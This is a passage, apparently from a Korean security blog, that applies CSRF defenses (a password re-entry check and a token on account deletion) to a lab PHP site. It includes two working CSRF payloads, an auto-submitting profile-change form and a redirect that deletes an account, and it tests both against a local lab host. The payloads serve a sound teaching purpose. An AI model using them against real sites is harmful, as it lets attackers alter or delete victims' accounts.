	$num = $result-&amp;gt;num_rows;
?&amp;gt;
    &amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;My Page&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;
	&amp;lt;?
	if($num != 0) {
	  $row = $result-&amp;gt;fetch_assoc();
	?&amp;gt;
	&amp;lt;form action=&quot;index.php?page=mypage&amp;amp;id=&amp;lt;?=$id?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;gubun&quot; value=&quot;action&quot;&amp;gt;
    &amp;lt;div class=&quot;form-group&quot;&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;name&quot; placeholder=&quot;Name Input&quot; value=&quot;&amp;lt;?=$row[&quot;name&quot;]?&amp;gt;&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password&quot; placeholder=&quot;Password Input&quot; value=&quot;&quot;&amp;gt;
			&amp;lt;small id=&quot;emailHelp&quot; class=&quot;form-text text-muted&quot;&amp;gt;※ 기존 패스워드 입력&amp;lt;/small&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;변경할 Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password1&quot; placeholder=&quot;Password Input&quot; value=&quot;&quot;&amp;gt;
			&amp;lt;small id=&quot;emailHelp&quot; class=&quot;form-text text-muted&quot;&amp;gt;※ 변경할 패스워드 입력&amp;lt;/small&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;변경할 Password 확인&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password2&quot; placeholder=&quot;Password Input&quot; value=&quot;&quot;&amp;gt;
			&amp;lt;small id=&quot;emailHelp&quot; class=&quot;form-text text-muted&quot;&amp;gt;※ 변경할 패스워드 입력&amp;lt;/small&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;E-mail&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;email&quot; id=&quot;email&quot; class=&quot;form-control&quot; name=&quot;email&quot; placeholder=&quot;E-mail Input&quot; value=&quot;&amp;lt;?=$row[&quot;email&quot;]?&amp;gt;&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Company&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;company&quot; placeholder=&quot;Company Input&quot; value=&quot;&amp;lt;?=$row[&quot;company&quot;]?&amp;gt;&quot;&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;text-center&quot;&amp;gt;
			&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-info&quot; value=&quot;수정하기&quot;&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot; onclick=&quot;if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?id=&amp;lt;?=$_SESSION[&quot;id&quot;]?&amp;gt;'&quot;&amp;gt;회원탈퇴하기&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
	&amp;lt;/form&amp;gt;
	&amp;lt;? } else { ?&amp;gt;
		&amp;lt;script&amp;gt;alert(&quot;존재하지 않는 사용자 입니다.&quot;);history.back(-1);&amp;lt;/script&amp;gt;
	&amp;lt;? } ?&amp;gt;
&amp;lt;?
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 시큐어 코딩 적용 후 VMWare 의 해커 계정에서 패스워드를 수정하는 CSRF 공격을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드 작성을 위해 회원 정보 수정 페이지의 파라미터를 확인해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 활용하여 어떤 파라미터를 사용하는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 사이트는 시큐어 코딩이 적용되지 않은 insecure website 로, 기존의 회원 정보 수정 페이지의 파라미터를 확인하기 위해 패킷을 캡쳐했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;461&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x8TFb/btsMcdZsKg3/VopvA6Ii5LOvUEMyX3WHW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x8TFb/btsMcdZsKg3/VopvA6Ii5LOvUEMyX3WHW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x8TFb/btsMcdZsKg3/VopvA6Ii5LOvUEMyX3WHW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx8TFb%2FbtsMcdZsKg3%2FVopvA6Ii5LOvUEMyX3WHW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;461&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;461&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gubun, name, password, email, company 으로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738945457543&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/index.php?page=mypage&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;gubun&quot; value=&quot;action&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;희생자&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;victim&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;victim@naver.com&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;company&quot; value=&quot;victim&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 의 해커 계정에서 위 공격 페이로드를 담은 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ydraj/btsMaQ5moIX/eRt1jy0zyWaJbGvXhvyjFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ydraj/btsMaQ5moIX/eRt1jy0zyWaJbGvXhvyjFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ydraj/btsMaQ5moIX/eRt1jy0zyWaJbGvXhvyjFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYdraj%2FbtsMaQ5moIX%2FeRt1jy0zyWaJbGvXhvyjFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;680&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정에서 해당 게시글을 클릭하여 읽는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DKIZz/btsMczHQUEV/n0mft3wQ5WkPAjtmUbaZXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DKIZz/btsMczHQUEV/n0mft3wQ5WkPAjtmUbaZXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DKIZz/btsMczHQUEV/n0mft3wQ5WkPAjtmUbaZXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDKIZz%2FbtsMczHQUEV%2Fn0mft3wQ5WkPAjtmUbaZXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;404&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BXCZS/btsMbFB0jKq/hP1C9yDDJHaskpfyk3svn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BXCZS/btsMbFB0jKq/hP1C9yDDJHaskpfyk3svn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BXCZS/btsMbFB0jKq/hP1C9yDDJHaskpfyk3svn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBXCZS%2FbtsMbFB0jKq%2FhP1C9yDDJHaskpfyk3svn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;256&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패스워드가 일치하지 않는다는 에러 메세지가 확인되며, 회원정보는 수정되지 않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;865&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKg6YD/btsMbaWUqPK/iWEsW2cZyGHKTEd3e9IHR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKg6YD/btsMbaWUqPK/iWEsW2cZyGHKTEd3e9IHR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKg6YD/btsMbaWUqPK/iWEsW2cZyGHKTEd3e9IHR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKg6YD%2FbtsMbaWUqPK%2FiWEsW2cZyGHKTEd3e9IHR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;929&quot; height=&quot;865&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;865&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정의 정보도 변경되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원정보 수정이 정상적으로 되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름 및 패스워드를 변경해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;867&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZ1GZa/btsMcJjf7vf/WMslTkSq455bk6EdgJu6Bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZ1GZa/btsMcJjf7vf/WMslTkSq455bk6EdgJu6Bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZ1GZa/btsMcJjf7vf/WMslTkSq455bk6EdgJu6Bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZ1GZa%2FbtsMcJjf7vf%2FWMslTkSq455bk6EdgJu6Bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;927&quot; height=&quot;867&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;867&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 회원정보가 수정되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;245&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DoUxa/btsMa9p6wiE/vDTVK0frmsO2idGKQj5quk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DoUxa/btsMa9p6wiE/vDTVK0frmsO2idGKQj5quk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DoUxa/btsMa9p6wiE/vDTVK0frmsO2idGKQj5quk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDoUxa%2FbtsMa9p6wiE%2FvDTVK0frmsO2idGKQj5quk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;245&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;245&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;871&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKNzoZ/btsMa6Ag7le/IxQWtI6x8i2HOimDvW33c0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKNzoZ/btsMa6Ag7le/IxQWtI6x8i2HOimDvW33c0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKNzoZ/btsMa6Ag7le/IxQWtI6x8i2HOimDvW33c0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKNzoZ%2FbtsMa6Ag7le%2FIxQWtI6x8i2HOimDvW33c0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;871&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;871&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원정보 수정 기능은 정상적으로 동작하며, 회원정보를 무단으로 수정하는 CSRF 공격에 대한 시큐어 코딩도 적용이 완료되었다. 기존과 달리 패스워드 및 회원 정보 수정을 위해서는 기존 패스워드를 입력해야 수정이 가능하므로, 공격자는 회원정보를 무단으로 수정하는 CSRF 공격이 어렵게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 회원 탈퇴 기능에 대한 시큐어 코딩을 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원 탈퇴 기능은 CSRF Token 을 통해서 유효성 검증을 하는 코드를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; withdrawal.php 에 CSRF Token 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738947007485&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
    $csrf_token_param = $_GET[&quot;csrf_token&quot;];

    if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}

    $query = &quot;delete from members where id='{$_SESSION[&quot;id&quot;]}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    unset($_SESSION[&quot;id&quot;]);
    session_destroy();

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폼 페이지인&amp;nbsp; index.php 의 mypage 에도 csrf token 함수를 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; index.php 의 mypage 에 csrf token 함수 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738947095373&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @session_start();
  include_once(&quot;./common.php&quot;);
  $page = $_GET[&quot;page&quot;];

  if(empty($page)) {
    $page = &quot;list.php&quot;;
  } else if ($page == &quot;mypage&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;mypage.php&quot;;
  } else if ($page == &quot;login&quot;) {
    $page = &quot;login.php&quot;;
  } else if ($page == &quot;join&quot;) {
    $page = &quot;join.php&quot;;
  } else if ($page == &quot;pingcheck&quot;) {
    $page = &quot;pingcheck.php&quot;;
  } else if ($page == &quot;xmlparser&quot;) {
    $page = &quot;xmlparser.php&quot;;
  } else if ($page == &quot;write&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;write.php&quot;;
  } else if ($page == &quot;view&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;view.php&quot;;
  } else if ($page == &quot;modify&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;modify.php&quot;;
  } else if ($page == &quot;auth&quot;) {
    $page = &quot;auth.php&quot;;
  } else if ($page == &quot;error&quot;) {
    $page = &quot;error.php&quot;;
  } else {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php?page=error&amp;amp;value={$page}';&amp;lt;/script&amp;gt;&quot;;
  }

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage.php 에서 csrf token 을 GET 방식으로 전달하는 코드를 추가한다.&lt;/p&gt;
&lt;pre id=&quot;code_1738947441733&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		&amp;lt;div class=&quot;text-center&quot;&amp;gt;
			&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-info&quot; value=&quot;수정하기&quot;&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot; onclick=&quot;if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?csrf_token=&amp;lt;?=$csrf_token?&amp;gt;'&quot;&amp;gt;회원탈퇴하기&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 해커 계정으로 무단으로 회원탈퇴를 하는 CSRF 공격을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738947559605&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;location.href='http://192.168.56.1/insecure_website/withdrawal.php'&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무단으로 회원탈퇴를 시도하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NKp5t/btsMbtaXeVl/NW4pa3CbYpX8nIRGKa9gYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NKp5t/btsMbtaXeVl/NW4pa3CbYpX8nIRGKa9gYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NKp5t/btsMbtaXeVl/NW4pa3CbYpX8nIRGKa9gYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNKp5t%2FbtsMbtaXeVl%2FNW4pa3CbYpX8nIRGKa9gYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;885&quot; height=&quot;614&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 test1 계정으로 로그인 후 해당 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLamdM/btsMcP4K9WC/PECqYZKpolFxPt0cUsrnTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLamdM/btsMcP4K9WC/PECqYZKpolFxPt0cUsrnTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLamdM/btsMcP4K9WC/PECqYZKpolFxPt0cUsrnTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLamdM%2FbtsMcP4K9WC%2FPECqYZKpolFxPt0cUsrnTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;398&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 메시지와 함께 회원탈퇴가 이루어지지 않았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBelaE/btsMayxhFsI/pX39MzeseLBt1NPlapwKik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBelaE/btsMayxhFsI/pX39MzeseLBt1NPlapwKik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBelaE/btsMayxhFsI/pX39MzeseLBt1NPlapwKik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBelaE%2FbtsMayxhFsI%2FpX39MzeseLBt1NPlapwKik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;240&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
